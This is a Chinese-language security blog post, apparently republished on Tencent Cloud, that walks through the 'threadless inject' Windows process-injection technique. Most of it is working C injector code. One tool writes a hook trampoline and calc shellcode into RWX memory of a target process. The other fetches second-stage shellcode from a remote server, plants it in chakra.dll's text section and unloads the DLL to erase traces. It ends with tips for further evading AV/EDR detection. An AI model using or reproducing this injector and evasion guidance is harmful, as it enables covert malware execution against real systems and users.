前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >新型远程注入手法-Threadless inject

新型远程注入手法-Threadless inject

作者头像
Al1ex
发布2024-07-17 15:34:21
发布2024-07-17 15:34:21
20500
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行

基本原理及执行流程一览

无线程注入是在B-Sides Cymru 2023大会上发表的议题,是一种新型的远程注入手法,原理就是对hook的函数jump到dll的内存空隙的第一段shellcode(二次重定向功能)当中,然后再jump到第二段shellcode(真正的shellcode)执行。具体执行过程如图

第一步,注入的进程调用的被hook的API函数并重定向到我们的第一段shellcode,第二步就是执行第一段shellcode负责跳转到第二段shellcode,第三步跳转到第二段shellcode并执行,第四步返回到第一段shellcode执行跳转回到原本API函数的位置重新执行本身的功能。

threadless inject的主要绕过思路就是跟其他执行内存的方式不同,通过这种方式绕过了AV/EDR的一些检测,下面我会通过对相关代码进行讲解,来让读者们了解具体的实现细节。因为这些代码都只是POC,直接使用效果并不会太好,在文章末尾,我会说明一下这些代码的优化思路,以保证实现更好的绕过。

首先,我们需要知道什么是内存间隙,在内存中指令不是紧密无间没有孔隙的,我们可以试图寻找一些可以放下我们的shellcode的空隙来把shellcode放入进去,最后通过hook的API来重定向到这段shellcode并执行。

第一份基础代码解析

代码语言:javascript
代码运行次数:0
复制
unsigned char shellcode_loader[] = {
    0x58,                               // pop rax
    0x48, 0x83, 0xE8, 0x05,             // sub rax, 0x05
    0x50,                               // push rax
    0x51,                               // push rcx
    0x52,                               // push rdx
    0x41, 0x50,                         // push r8
    0x41, 0x51,                         // push r9
    0x41, 0x52,                         // push r10
    0x41, 0x53,                         // push r11
    0x48, 0xB9,                         // mov rcx, <address>  第二段shellcode的地址
    0x88, 0x77, 0x66, 0x55, 0x44, 0x33, 0x22, 0x11,
    0x48, 0x89, 0x08,                   // mov [rax], rcx
    0x48, 0x83, 0xEC, 0x40,             // sub rsp, 0x40
    0xE8, 0x11, 0x00, 0x00, 0x00,       // call <relative offset>  执行第二段shellcode
    0x48, 0x83, 0xC4, 0x40,             // add rsp, 0x40
    0x41, 0x5B,                         // pop r11
    0x41, 0x5A,                         // pop r10
    0x41, 0x59,                         // pop r9
    0x41, 0x58,                         // pop r8
    0x5A,                               // pop rdx
    0x59,                               // pop rcx
    0x58,                               // pop rax
    0xFF, 0xE0,                         // jmp rax  跳转回被hook的API函数地址
    0x90                                // nop
};

弹出计算器
unsigned char shellcode[] = {
0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3
};
代码语言:javascript
代码运行次数:0
复制
最终shellcode拼接,将两段shellcode合并到一个result里面
void ConcatArrays(unsigned char* result, const unsigned char* arr1, size_t arr1Size, const unsigned char* arr2, size_t arr2Size) {
    // Copy elements from the first array
    for (size_t i = 0; i < arr1Size; ++i) {
        result[i] = arr1[i];
    }

    // Copy elements from the second array
    for (size_t i = 0; i < arr2Size; ++i) {
        result[arr1Size + i] = arr2[i];
    }
}
代码语言:javascript
代码运行次数:0
复制
寻找内存间隙
int64_t FindMemoryHole(IN HANDLE hProcess, IN void** exportedFunctionAddress, IN int size)
{
    UINT_PTR  remoteAddress;
    BOOL foundMemory = FALSE;
    uint64_t exportAddress = exportedFunctionAddress;
在一定偏移量范围之内寻找内存间隙
    for (remoteAddress = (exportAddress & 0xFFFFFFFFFFF70000) - 0x70000000;
        remoteAddress < exportAddress + 0x70000000;
        remoteAddress += 0x10000)
    {
给内存间隙直接申请一段RWX的内存
        LPVOID lpAddr = VirtualAllocEx(hProcess, remoteAddress, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        if (lpAddr == NULL)
        {
            continue;
        }
        foundMemory = TRUE;
        break;
    }

    if (foundMemory == TRUE)
    {
        printf("  [*] Found Memory Hole: %p\n", remoteAddress);
        return remoteAddress;
    }

    return 0;

}
代码语言:javascript
代码运行次数:0
复制
修改跳转地址,即第18个字节0xB9,修改为对应的地址void GenerateHook(int64_t originalInstruction)
{
    *(uint64_t*)(shellcode_loader + 0x12) = originalInstruction;
    printf("  [+] Hook successfully placed");
}
代码语言:javascript
代码运行次数:0
复制
int main(int argc, char** argv)
{
首先获取命令行信息,声明变量
    if (argc != 4) {
        printf("\n");
        printf("[ERROR]: DLL, Exported Function or PID is missing!\n");
        printf("  [Demo Usage]: ThreadlessInject-C.exe kernelbase.dll CreateEventW 1000\n\n");
        return 0;
    }
  要hook的dll
    char* moduleName = argv[1];
  要hook的函数
    char* exportedFunction = argv[2];
  PID
    DWORD pid = atoi(argv[3]);
    BOOL rez = FALSE;
    int writtenBytes = 0;

    //Loading DLL into the process
    printf("\n[*] Loading: %s\n", moduleName);
  获取对应dll的句柄
    HMODULE hModule = GetModuleHandle(argv[1]);
  如果获取不到,就先在本进程加载这个dll
    if (hModule == NULL)
{
        hModule = LoadLibraryA(argv[1]);
    }
  无法加载?异常问题无法加载,退出
    if (hModule == NULL)
    {
        printf("[ERROR] Could not load %s\n", moduleName);
        return -99;
    }
    printf("  [+] Successfully loaded %s\n\n", moduleName);

    获取想要注入的API函数的地址
    printf("[*] Getting the address of %s\n", exportedFunction);
    void* exportedFunctionAddress = GetProcAddress(hModule, exportedFunction);
    if (exportedFunctionAddress == NULL)
    {
        printf("  [ERROR] Could not find %s in %s\n", exportedFunction, moduleName);
        return -99;
    }
    printf("  [+] %s Address: 0x%p\n\n", exportedFunction, exportedFunctionAddress);


    获取目标进程的句柄
    printf("[*] Trying to open process with pid: %d\n", pid);
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

    if (hProcess == NULL)
    {
        printf("  [ERROR] Could not open process with pid %d\n", pid);
        return -99;
    }
    printf("  [+] Successfully opened process with pid %d\n\n", pid);

    找内存间隙
    printf("[*] Trying to find memory holes\n");
    int64_t memoryHoleAddress = FindMemoryHole(hProcess, exportedFunctionAddress, sizeof(shellcode_loader) + sizeof(shellcode));
    if (memoryHoleAddress == 0)
    {
        printf("  [Error] Could not find memory hole\n");
        return -99;
    }
  获取要被hook的函数的地址
    // Reading content from memory address of exported function
    printf("[*] Reading bytes from the memory address of %s\n", exportedFunction);
    int64_t originalBytes = *(int64_t*)exportedFunctionAddress;
    printf("  [+] Address %p has value = %lld\n\n", exportedFunctionAddress, originalBytes);

修改要跳转的地址,将shellcode修改成完全体
    // Implementing the hook
    printf("[*] Generating hook");
    GenerateHook(originalBytes);
将进程的某个导出函数的执行权限改成RWX
    //Chaning the memory protection settings of the exported function into the calling process to RWX
    printf("[*] Changing the memory protection of %s to RWX\n", exportedFunction);
    DWORD oldProtect = 0;
    if (!VirtualProtectEx(hProcess, exportedFunctionAddress, 8, PAGE_EXECUTE_READWRITE, &oldProtect))
    {
        printf("  [Error] Could not change the memory protection settings\n");
        return -99;
    }
    printf("  [+] Successfully changed the memory protection settings of %s to RWX\n", exportedFunction);

    修改目标函数的指令,加入跳转指令(目标是跳转到我们的第一段shellcode)
    printf("[*] Trying to inject the call assembly for the exported function\n");
    int callPointerAddress = (memoryHoleAddress - ((UINT_PTR)exportedFunctionAddress + 5));
    unsigned char callFunctionShellcode[] = { 0xe8, 0, 0, 0, 0 };
    *(int*)(callFunctionShellcode + 1) = callPointerAddress;
  修改内存属性,改成RWX
    VirtualProtectEx(hProcess, callFunctionShellcode, sizeof(callFunctionShellcode), PAGE_EXECUTE_READWRITE, NULL);
  将callFunctionShellcode写入目标地址内存中
    if (!WriteProcessMemory(hProcess, exportedFunctionAddress, callFunctionShellcode, sizeof(callFunctionShellcode), &writtenBytes))
    {
        printf("  [Error] Could redirect %s\n", exportedFunction);
        return -99;
    }

    printf("  [+] Successfully modified %s function to call the custom shellcode\n", exportedFunction);

    // Compiling final payload and injecting the hook
  将两段shellcode合并到一起
    unsigned char payload[sizeof(shellcode_loader) + sizeof(shellcode)];
    ConcatArrays(&payload, &shellcode_loader, sizeof(shellcode_loader), shellcode, sizeof(shellcode));
  修改内存属性为RW
    if (!VirtualProtectEx(hProcess, memoryHoleAddress, sizeof(payload), PAGE_READWRITE, &oldProtect))
{
        printf("[Error] Modifying the memory protection of the memory hole: %p before write\n", memoryHoleAddress);
        return -99;
    }
  将合并的shellcode写入到目标进程
    if (!WriteProcessMemory(hProcess, memoryHoleAddress, payload, sizeof(payload), &writtenBytes))
    {
        printf("[Error] Writing to the memory hole address: %p\n", memoryHoleAddress);
        return -99;
    }
  将合并的shellcode内存属性更改为可读可执行
    if (!VirtualProtectEx(hProcess, memoryHoleAddress, sizeof(payload), PAGE_EXECUTE_READ, &oldProtect))
    {
        printf("[Error] Modifying the memory protection of the memory hole: %p after write\n", memoryHoleAddress);
        return -99;
    }

    printf("\n[+] Injection successful, wait for your trigger function!\n");
    Sleep(2000);
}

从下图可以看到,在没有注入时,kernelbase.dll里面没有RWX的内存,在注入之后,kernelbase.dll里面申请了一段RWX的内存

第二份代码解析

第二份与之前执行思路基本相同,区别就是把第二段shellcode放到了远程服务器,内存空隙是放在另一个dll的文本段上(这可能是比较不错的寻找内存间隙的思路,但也要看AV/EDR的容忍度,毕竟要远程加载一个dll,还要对他的内存做出一些修改),具体内容如下

代码语言:javascript
代码运行次数:0
复制
#include "commun.h"


int wmain(int argc, wchar_t** argv) {

    if (argc != 8) {
        printf("\n\tUsage:\n\t\tD1rkInject.exe   <resource>    \n\n");
        return -1;
    }
    声明命令行变量
    wchar_t* whost = argv[1];
  host地址
    DWORD port = _wtoi(argv[2]);
  端口
    wchar_t* wresource = argv[3];
  路径
    DWORD pid = _wtoi(argv[4]);
  pid
    wchar_t* wInjectedLoadedModuleName= argv[5];
  要注入的dll名称chakra.dll
    wchar_t* wHookedModuleName = argv[6];
  被注入的dll名称 ntdll.dll
    wchar_t* wHookedApiName = argv[7];
  api名

  getdata函数获取shellcode
    DATA shellcode = GetData(whost, port, wresource);
    if (shellcode.data == NULL) {
        printf("[-] Failed to get remote shellcode (%u)\n", GetLastError());
        return -1;
    }

    printf("\n[+] shellcode @ %p (%d bytes)\n", shellcode.data, shellcode.len);
  获取目标进程的句柄
    HANDLE hproc = OpenProcess(PROCESS_ALL_ACCESS, NULL, pid);

  GetRXhole函数获取RX的内存空隙(从注入的charka.dll中)
    LPVOID RX_hole_addr = GetRXhole(hproc, wInjectedLoadedModuleName, shellcode.len);
    if (RX_hole_addr == NULL) {
        printf("[-] Failed to find a hole (%u)\n", GetLastError());
        return -1;
    }

    printf("[+] RX_hole_addr in %ws is @ %p\n", wInjectedLoadedModuleName, RX_hole_addr);

    InjectThatMTF函数,将shellcode注入到charka.dll中
    if(!InjectThatMTF(hproc, RX_hole_addr, shellcode, wHookedModuleName, wHookedApiName)) {
        printf("[+] Failed to inject %ws or Hook %ws\n", wInjectedLoadedModuleName, wHookedApiName);
        return -1;
    }
    printf("[+] %ws of the Target process with PID : %d is injected at address with the HookCode + Shellcode : %p\n", wInjectedLoadedModuleName, pid, RX_hole_addr);

    char input1[100];
    do {
        printf("[+] Enter \"APT stands for Are You Pretending To-hack?\" if you got a callback to Change hooked API protection from RWX => RX\n");
        fgets(input1, sizeof(input1), stdin);
        input1[strcspn(input1, "\n")] = 0;
    } while (strcmp(input1, "APT stands for Are You Pretending To-hack?") != 0);

    DWORD oldProtect = 0;
    size_t len = wcslen(wHookedApiName) + 1;
    char* APIName = (char*)malloc(len);
    size_t convertedChars = 0;
    wcstombs_s(&convertedChars, APIName, len, wHookedApiName, _TRUNCATE);
  获取ntdll的目标API函数地址
    FARPROC apiAddr = GetProcAddress(GetModuleHandle(wHookedModuleName), APIName);
  更改内存权限为RX
    if (!VirtualProtectEx(hproc, apiAddr, 8, PAGE_EXECUTE_READ, &oldProtect)) {
        printf("Failed to change memory protection.\n");
        return FALSE;
    }


    char input2[100];

    do {
        printf("[+] Enter \"APT stands for Advanced Persistence Tomato\" to Unload the Infected %ws to remove any IOC\n", wInjectedLoadedModuleName);
        fgets(input2, sizeof(input2), stdin); 
        input2[strcspn(input2, "\n")] = 0; 
    } while (strcmp(input2, "APT stands for Advanced Persistence Tomato") != 0); 
注入内存后从目标进程中取消加载的charka.dll
    if (!UnloadModule(hproc, wInjectedLoadedModuleName)) {
        printf("[+] Failed to Unload %ws\n in the target process\n", wInjectedLoadedModuleName);
        return -1;
    }

    printf("[+] %ws Unloaded successfully\n", wInjectedLoadedModuleName);

    return 0;



}
代码语言:javascript
代码运行次数:0
复制
#include "commun.h"


BOOL InjectThatMTF(HANDLE hProc, LPVOID RX_hole_addr,DATA shellcode, wchar_t* wModuleName, wchar_t* wAPIName) {

    用来做hook的shellcode
    // will load the shellcode and revert the hooked API
    char HookCode[] = {
        0x58,                           // pop    rax
        0x48, 0x83, 0xE8, 0x05,         // sub    rax,0x5
        0x50,                           // push   rax
        0x51,                           // push   rcx
        0x52,                           // push   rdx
        0x41, 0x50,                     // push   r8
        0x41, 0x51,                     // push   r9
        0x41, 0x52,                     // push   r10
        0x41, 0x53,                     // push   r11
        0x48, 0xB9, 0x88, 0x77, 0x66,   // movabs rcx,0x1122334455667788
        0x55,0x44, 0x33, 0x22, 0x11, 
        0x48, 0x89, 0x08,               // mov    QWORD PTR [rax],rcx
        0x48, 0x83, 0xEC, 0x40,         // sub    rsp,0x40
        0xE8, 0x11, 0x00, 0x00, 0x00,   // call   shellcode
        0x48, 0x83, 0xC4, 0x40,         // add    rsp,0x40
        0x41, 0x5B,                     // pop    r11
        0x41, 0x5A,                     // pop    r10
        0x41, 0x59,                     // pop    r9
        0x41, 0x58,                     // pop    r8 
        0x5A,                           // pop    rdx
        0x59,                           // pop    rcx
        0x58,                           // pop    rax
        0xFF, 0xE0,                     // jmp    rax
        0x90                            // nop
    };


    /*

        change 0x1122334455667788 in HookCode with 
        the Original 8 bytes of APIName opcodes 

    */

    size_t len = wcslen(wAPIName) + 1;
    char* APIName = (char*)malloc(len);
    size_t convertedChars = 0;
    wcstombs_s(&convertedChars, APIName, len, wAPIName, _TRUNCATE);
    获取目标dll的api函数地址
    // get address of the function
    FARPROC apiAddr = GetProcAddress(GetModuleHandle(wModuleName), APIName);
    if (apiAddr == NULL) {
        free(APIName);
        printf("Failed to get the address of the function.\n");
        return FALSE;
    }
    读取目标API的前八个字节的内容
    // read 8 bytes from the start of the function
    unsigned char originalOpcodes[8];
    if (!ReadProcessMemory(hProc, apiAddr, &originalOpcodes, sizeof(originalOpcodes), NULL)) {
        free(APIName);
        printf("Failed to read the original opcodes.\n");
        return FALSE;






    }
    替换原始shellcode的跳转地址
    // replace the placeholder in the hook code with the original opcodes
    memcpy(HookCode + 18, originalOpcodes, sizeof(originalOpcodes));


    /* 
        update "call shellcode" 
        in HookCode
    */
    计算到目标shellcode地址的偏移量
    // calculate the relative offset from the call instruction to the target address
    DWORD offset = (DWORD)((char*)RX_hole_addr - (char*)(HookCode + sizeof(HookCode)));
    替换地址
    // replace the placeholder offset in the hook code with the calculated offset
    memcpy(HookCode + 39, &offset, sizeof(offset));


    /*
        Hook the loaded modules 
        with the HookCode + Shellcode
    */
    将这段内存改成RWX
    DWORD oldProtect;
    // Change the protection of the memory region to RWX
    if (!VirtualProtectEx(hProc, RX_hole_addr, sizeof(HookCode) + shellcode.len, PAGE_EXECUTE_READWRITE, &oldProtect)){
        printf("VirtualProtectEx failed (%u)\n", GetLastError());
        return FALSE;
    }
    把第一段shellcode写入到内存间隙中
    // Write the HookCode into the memory region
    SIZE_T bytesWritten;
    if (!WriteProcessMemory(hProc, RX_hole_addr, HookCode, sizeof(HookCode), &bytesWritten)){
        printf("WriteProcessMemory failed (%u)\n", GetLastError());
        return FALSE;
    }
    将第二段shellcode写入到内存间隙中
    // Write the shellcode into the memory region right after the HookCode
    if (!WriteProcessMemory(hProc, (LPBYTE)RX_hole_addr + sizeof(HookCode), shellcode.data, shellcode.len, &bytesWritten)){
        printf("WriteProcessMemory failed (%u)\n", GetLastError());
        return FALSE;
    }
    修改为原来的内存属性
    // Restore the original protection of the memory region
    if (!VirtualProtectEx(hProc, RX_hole_addr, sizeof(HookCode) + shellcode.len, oldProtect, &oldProtect)){
        printf("VirtualProtectEx failed (%u)\n", GetLastError());
        return FALSE;
    }


    /*
        Hook the API with call RX_hole_addr
    */


    在目标函数处设立一个跳转
    // Create a call instruction which jumps to RX_hole_addr.
    unsigned char callInstruction[5] = { 0xE8, 0x00, 0x00, 0x00, 0x00 };
    offset = (DWORD)((char*)RX_hole_addr - ((char*)apiAddr + sizeof(callInstruction)));
    memcpy(callInstruction + 1, &offset, sizeof(offset));

    // Replace the first instruction of the API function with our call instruction. 
    oldProtect = 0;
    修改目标API地址的这段内存属性为RWX
    if (!VirtualProtectEx(hProc, apiAddr, 8, PAGE_EXECUTE_READWRITE, &oldProtect)) {
        printf("Failed to change memory protection.\n");
        return FALSE;
    }
    把跳转指令写进去
    bytesWritten = 0;
    if (!WriteProcessMemory(hProc, apiAddr, callInstruction, sizeof(callInstruction), &bytesWritten)) {
        printf("Failed to write the new instruction.\n");
        return FALSE;
    }


    if (bytesWritten != sizeof(callInstruction)) {
        printf("Failed to write the full instruction.\n");
        return FALSE;
    }

    return TRUE;

}
代码语言:javascript
代码运行次数:0
复制
总体上的内容就是获取web服务器上的shellcode,具体代码不做解释了
#include "commun.h"

DATA GetData(wchar_t* whost, DWORD port, wchar_t* wresource) {

    DATA data;
    std::vector<unsigned char> buffer;
    DWORD dwSize = 0;
    DWORD dwDownloaded = 0;
    LPSTR pszOutBuffer = NULL;
    BOOL  bResults = FALSE;
    HINTERNET  hSession = NULL,
        hConnect = NULL,
        hRequest = NULL;
    // Use WinHttpOpen to obtain a session handle.
    hSession = WinHttpOpen(L"WinHTTP Example/1.0",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME,
        WINHTTP_NO_PROXY_BYPASS, 0);


    // Specify an HTTP server.
    if (hSession)
        hConnect = WinHttpConnect(hSession, whost,
            port, 0);
    else
        printf("Failed in WinHttpConnect (%u)\n", GetLastError());

    // Create an HTTP request handle.
    if (hConnect)
        hRequest = WinHttpOpenRequest(hConnect, L"GET", wresource,
            NULL, WINHTTP_NO_REFERER,
            WINHTTP_DEFAULT_ACCEPT_TYPES,
            NULL);
    else
        printf("Failed in WinHttpOpenRequest (%u)\n", GetLastError());

    // Send a request.
    if (hRequest)
        bResults = WinHttpSendRequest(hRequest,
            WINHTTP_NO_ADDITIONAL_HEADERS,
            0, WINHTTP_NO_REQUEST_DATA, 0,
            0, 0);
    else
        printf("Failed in WinHttpSendRequest (%u)\n", GetLastError());

    // End the request.
    if (bResults)
        bResults = WinHttpReceiveResponse(hRequest, NULL);
    else printf("Failed in WinHttpReceiveResponse (%u)\n", GetLastError());

    // Keep checking for data until there is nothing left.
    if (bResults)
        do
        {
            // Check for available data.
            dwSize = 0;
            if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
                printf("Error %u in WinHttpQueryDataAvailable (%u)\n", GetLastError());

            // Allocate space for the buffer.
            pszOutBuffer = new char[dwSize + 1];
            if (!pszOutBuffer)
            {
                printf("Out of memory\n");
                dwSize = 0;
            }
            else
            {
                // Read the Data.
                ZeroMemory(pszOutBuffer, dwSize + 1);

                if (!WinHttpReadData(hRequest, (LPVOID)pszOutBuffer,
                    dwSize, &dwDownloaded))
                    printf("Error %u in WinHttpReadData.\n", GetLastError());
                else {

                    buffer.insert(buffer.end(), pszOutBuffer, pszOutBuffer + dwDownloaded);

                }
                delete[] pszOutBuffer;
            }

        } while (dwSize > 0);

        if (buffer.empty() == TRUE)
        {
            printf("Failed in retrieving the Shellcode");
        }

        // Report any errors.
        if (!bResults)
            printf("Error %d has occurred.\n", GetLastError());

        // Close any open handles.
        if (hRequest) WinHttpCloseHandle(hRequest);
        if (hConnect) WinHttpCloseHandle(hConnect);
        if (hSession) WinHttpCloseHandle(hSession);

        size_t size = buffer.size();

        char* bufdata = (char*)malloc(size);
        for (int i = 0; i < buffer.size(); i++) {
            bufdata[i] = buffer[i];
        }
        data.data = bufdata;
        data.len = size;
        return data;

}
代码语言:javascript
代码运行次数:0
复制
#include "commun.h"

DWORD prevOffset = 0;

#define MIN_GAP 20000  // minimum gap between two random offsets
生成一个随机的偏移量方便后面寻找内存间隙
DWORD get_random_offset(DWORD maxOffset) {

    DWORD newOffset = rand() % maxOffset;

    while ((newOffset > prevOffset ? newOffset - prevOffset : prevOffset - newOffset) < MIN_GAP) {
        newOffset = rand() % maxOffset;
    }

    prevOffset = newOffset;
    return newOffset;
}


确保dll已经注入到目标进程的内存里面了
// Check if a module is loaded in a process's address space
BOOL IsModuleLoaded(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {
    HMODULE hMods[1024];
    DWORD cbNeeded;
    unsigned int i;
    wchar_t szModName[MAX_PATH];

    if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
        for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
            if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {
                if (wcscmp(szModName, wInjectedLoadedModule) == 0) {
                    return TRUE;
                }
            }
        }
    }

    return FALSE;
}


从这个进程中获取chakra.dll的handle
// Get a module handle from the process
HMODULE GetRemoteModuleHandle(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {
    HMODULE hMods[1024];
    DWORD cbNeeded;
    unsigned int i;
    wchar_t szModName[MAX_PATH];

    if (EnumProcessModules(hProcess, hMods, sizeof(hMods), &cbNeeded)) {
        for (i = 0; i < (cbNeeded / sizeof(HMODULE)); i++) {
            if (GetModuleBaseNameW(hProcess, hMods[i], szModName, sizeof(szModName) / sizeof(TCHAR))) {
                if (wcscmp(szModName, wInjectedLoadedModule) == 0) {
                    return hMods[i];
                }
            }
        }
    }

    return NULL;
}

找到一个RX的内存空隙(从chakra.dll中查找,即使更改文本节内存里面的内容,也不会导致崩溃)
LPVOID GetRXhole(HANDLE hProcess, wchar_t* wInjectedLoadedModuleName, size_t shellcodeLen) {

    if (!IsModuleLoaded(hProcess, wInjectedLoadedModuleName)) {
        LPVOID RXspot = NULL;
    内存大小
        SIZE_T mdlSize = (wcslen(wInjectedLoadedModuleName) + 1) * sizeof(wchar_t);

        PTHREAD_START_ROUTINE pLoadLibrary = NULL;
    获取kernel32.dll的句柄
        pLoadLibrary = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryW");
        if (!pLoadLibrary) {
            printf("Failed to get LoadLibrary Address (%u)\n", GetLastError());
            return NULL;
        }
    申请一段可读可写的内存
        PVOID mdlStrAlloc = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);
        if (!mdlStrAlloc) {
            printf("Failed to Allocate mem in the remote process (%u)\n", GetLastError());
            return NULL;
        }

        printf("[+] mdlStrAlloc : %p\n", mdlStrAlloc);
    将当前进程的内存复制到目标进程的内存中
        BOOL writeStatus = WriteProcessMemory(hProcess, mdlStrAlloc, (LPVOID)wInjectedLoadedModuleName, mdlSize, NULL);
        if (!writeStatus) {
            printf("Failed to Write to the allocated mem (%u)\n", GetLastError());
            return NULL;
        }
    创建远程线程
        HANDLE hthread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, mdlStrAlloc, 0, NULL);
        if (!hthread) {
            printf("Failed to create remote thread (%u)\n", GetLastError());
            return NULL;
        }

        // Wait for the remote thread to finish
        WaitForSingleObject(hthread, INFINITE);

    //检测线程是否存在
        // Check the thread exit code
        DWORD exitCode;
        if (!GetExitCodeThread(hthread, &exitCode)) {
            printf("Failed to get exit code (%u)\n", GetLastError());
            CloseHandle(hthread);
            return FALSE;
        }

        CloseHandle(hthread);
    获取dll基址的指针
        PVOID mdlBaseAddr = LoadLibrary(wInjectedLoadedModuleName);
        if (!mdlBaseAddr) {
            printf("[!] Failed to resolve the remote module addr\n");
            return NULL;
        }
        IMAGE_DOS_HEADER* DOS_HEADER = (IMAGE_DOS_HEADER*)mdlBaseAddr;
        IMAGE_NT_HEADERS* NT_HEADER = (IMAGE_NT_HEADERS*)((DWORD64)mdlBaseAddr + DOS_HEADER->e_lfanew);
        IMAGE_SECTION_HEADER* SECTION_HEADER = IMAGE_FIRST_SECTION(NT_HEADER);

        LPVOID txtSectionBase = (LPVOID)((DWORD64)mdlBaseAddr + (DWORD64)SECTION_HEADER->PointerToRawData);
        DWORD txtSectionSize = SECTION_HEADER->SizeOfRawData;

    如果找到的内存间隙小于第二段shellcode长度
        if (txtSectionSize < shellcodeLen) {
            printf("[-] Choose Another Module with a large \".text\" section\n");
            return NULL;
        }

        // Initialize random seed
        srand((unsigned)time(NULL));
确认这段RX内存的地址
        DWORD randomOffset = get_random_offset(txtSectionSize - shellcodeLen);
        printf("[+] randomOffset %d\n", randomOffset);

        RXspot = (LPVOID)((DWORD64)txtSectionBase + randomOffset);

        return RXspot;
    }
    else {
        printf("[!] %ws is already loaded in the target process\n", wInjectedLoadedModuleName);
        return NULL;
    }

}

取消加载到目标进程中的dll
// Unload a module from a process
BOOL UnloadModule(HANDLE hProcess, wchar_t* wInjectedLoadedModule) {

    HMODULE hMod = GetRemoteModuleHandle(hProcess, wInjectedLoadedModule);

    if (hMod == NULL) {
        printf("Module not found.\n");
        return FALSE;
    }

    // Get address of FreeLibrary in kernel32.dll
    LPVOID FreeLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "FreeLibrary");

    if (FreeLibraryAddr == NULL) {
        printf("Failed to get address of FreeLibrary (%u)\n", GetLastError());
        return FALSE;
    }
  释放这段远程线程的内存
    // Call FreeLibrary in the context of the remote process
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)FreeLibraryAddr, hMod, 0, NULL);

    if (hThread == NULL) {
        printf("Failed to create remote thread (%u)\n", GetLastError());
        return FALSE;
    }

    // Wait for the remote thread to finish
    WaitForSingleObject(hThread, INFINITE);

    // Check the thread exit code
    DWORD exitCode;
    if (!GetExitCodeThread(hThread, &exitCode)) {
        printf("Failed to get exit code (%u)\n", GetLastError());
        CloseHandle(hThread);
        return FALSE;
    }

    CloseHandle(hThread);

    if (!IsModuleLoaded(hProcess, wInjectedLoadedModule)) {
        return TRUE;
    }

    return FALSE;
}

从下图可以看到成功注入了chakra.dll

改进思路

第一段shellcode功能比较简单,很容易作为IOC进行检测,对这段shellcode进行一定的优化,加入一些混淆指令

hookAPI的方式是最简单的修改指令,更换为更加隐蔽的hook方法,比如硬件断点等

申请RWX是非常敏感的行为,可以先RW再RX

用更加隐蔽的调用链条,使用一些冷门的API函数

可以做成BOF,思路大差不差

Reference:

https://github.com/lsecqt/ThreadlessInject-C/blob/main/ThreadlessInject-C/ThreadlessInject-C.c

https://github.com/SaadAhla/D1rkInject/tree/main

https://www.youtube.com/watch?v=z8GIjk0rf

作者:n1ji1

原文链接:https://xz.aliyun.com/t/14512

推 荐 阅 读

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-07-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档